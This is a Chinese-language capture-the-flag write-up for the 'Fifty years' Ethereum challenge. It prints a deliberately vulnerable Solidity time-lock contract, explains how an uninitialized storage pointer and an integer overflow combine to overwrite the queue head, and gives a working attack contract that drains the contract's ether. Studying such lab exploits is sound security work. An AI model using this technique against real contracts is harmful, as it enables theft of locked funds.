抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Fifty years

1. 题目

  • 1.1 This contract locks away ether. The initial ether is locked away until 50 years has passed, and subsequent contributions are locked until even later.

    All you have to do to complete this challenge is wait 50 years and withdraw the ether. If you’re not that patient, you’ll need to combine several techniques to hack this contract

  • 1.2 源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
pragma solidity ^0.4.21;

contract FiftyYearsChallenge {

// Contribution 结构体中包含了 金额和解锁时间
struct Contribution {
uint256 amount;
uint256 unlockTimestamp;
}

// Contribution 类型的数组
Contribution[] queue;

uint256 head;

address owner;

function FiftyYearsChallenge(address player) public payable {
require(msg.value == 1 ether);

// 初始化合约所有者为玩家,并把玩家的钱锁起来,直到五十年之后才可以解锁
owner = player;
queue.push(Contribution(msg.value, now + 50 years));
}


function isComplete() public view returns (bool) {
return address(this).balance == 0;
}


function upsert(uint256 index, uint256 timestamp) public payable {
// 校验调用者是否为合约所有者
require(msg.sender == owner);

//
if (index >= head && index < queue.length) {
// Update existing contribution amount without updating timestamp.
// 这里storage 修饰的是创建的引用,修改contribution 的值也会影响到 queue[index]的值
Contribution storage contribution = queue[index]; // 盲猜这里有漏洞,覆盖
contribution.amount += msg.value;
} else {
// Append a new contribution. Require that each contribution unlock
// at least 1 day after the previous one.
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);

contribution.amount = msg.value;
contribution.unlockTimestamp = timestamp;
queue.push(contribution);
}
}

function withdraw(uint256 index) public {
require(msg.sender == owner);

// 确保现在的时间大于或等于解锁时间
require(now >= queue[index].unlockTimestamp);

// Withdraw this and any earlier contributions.
uint256 total = 0;
for (uint256 i = head; i <= index; i++) {
total += queue[i].amount;

// Reclaim storage.
delete queue[i];
}

// Move the head of the queue forward so we don't have to loop over
// already-withdrawn contributions.
head = index + 1;

msg.sender.transfer(total);
}
}

2. 分析

2.1 withdraw函数

目标是盗取合约中的所有 ETH,涉及转账操作的函数只有 withdraw,而题目自定义合约所有者,要成功调用withdraw函数只要通过require(now >= queue[index].unlockTimestamp);即可。题目初始化了queue[0],要将合约中所有的余额盗取只能从数组的第一个元素开始依次遍历。

2.2 upsert函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function upsert(uint256 index, uint256 timestamp) public payable {
// 校验调用者是否为合约所有者
require(msg.sender == owner);
if (index >= head && index < queue.length) {
// Update existing contribution amount without updating timestamp.

Contribution storage contribution = queue[index]; // 盲猜这里有漏洞,覆盖
contribution.amount += msg.value;
} else {
// Append a new contribution. Require that each contribution unlock
// at least 1 day after the previous one.
require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);

contribution.amount = msg.value;
contribution.unlockTimestamp = timestamp;
queue.push(contribution);
}
}

Contribution storage contribution的定义,无疑是会造成覆盖的问题,require(timestamp >= queue[queue.length - 1].unlockTimestamp + 1 days);很明显存在溢出的问题。

又因为require(now >= queue[index].unlockTimestamp);中的index是自定义的,所以可以通过queue[index].unlockTimestamp骗过时间锁,但是这样一来,head的值将会被修改,从而无法从头遍历数组,不能将合约中的全部金额取出。

但是,很明显timestamp是会覆盖 head的值的。可以通过queue[queue.length - 1].unlockTimestamp + 1 days)上溢来欺骗断言,并将 head的值修改为 0。而数组的长度由支付的 ETH决定。(其实这里的amount 和 msg.value公用一个存储位置,导致queue.length永远等于msg.value++)

所以我们给数组添加一个元素,用来欺骗require(now >= queue[index].unlockTimestamp);,所以需要两次调用upsert函数,第一次为了给溢出做准备:0 = (0 - 1 days) + 1 days,第二次则是实现溢出,覆盖 head的值为 0

又由于 msg.valuequeue.length共用一个内存,所以需要支付 2weiETH。

具体分析可见 : 链接

3. 解题

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
contract Hack {

FiftyYearsChallenge challenge;

function attack(address _challenge) public payable {
challenge = FiftyYearsChallenge(_challenge);
challenge.upsert.value(1)(999, cal());
challenge.upsert.value(1)(999, 0);
challenge.withdraw(1);
require(challenge.isComplete());
tx.origin.transfer(address(this).balance);
}

function cal() internal pure returns (uint256) {
uint256 zero = 0;
return zero - 1 days;
}

function() external payable{}

}

攻击逻辑

先部署 Hack, 根据 Hack 部署 challenge,然后将challenge的地址作为参数,调用 attack() 函数,并支付 2 wei

完成攻击

![image-20240412144507745](Fifty years/image-20240412144507745.png)

评论



政策 · 统计 | 本站使用 Volantis 主题设计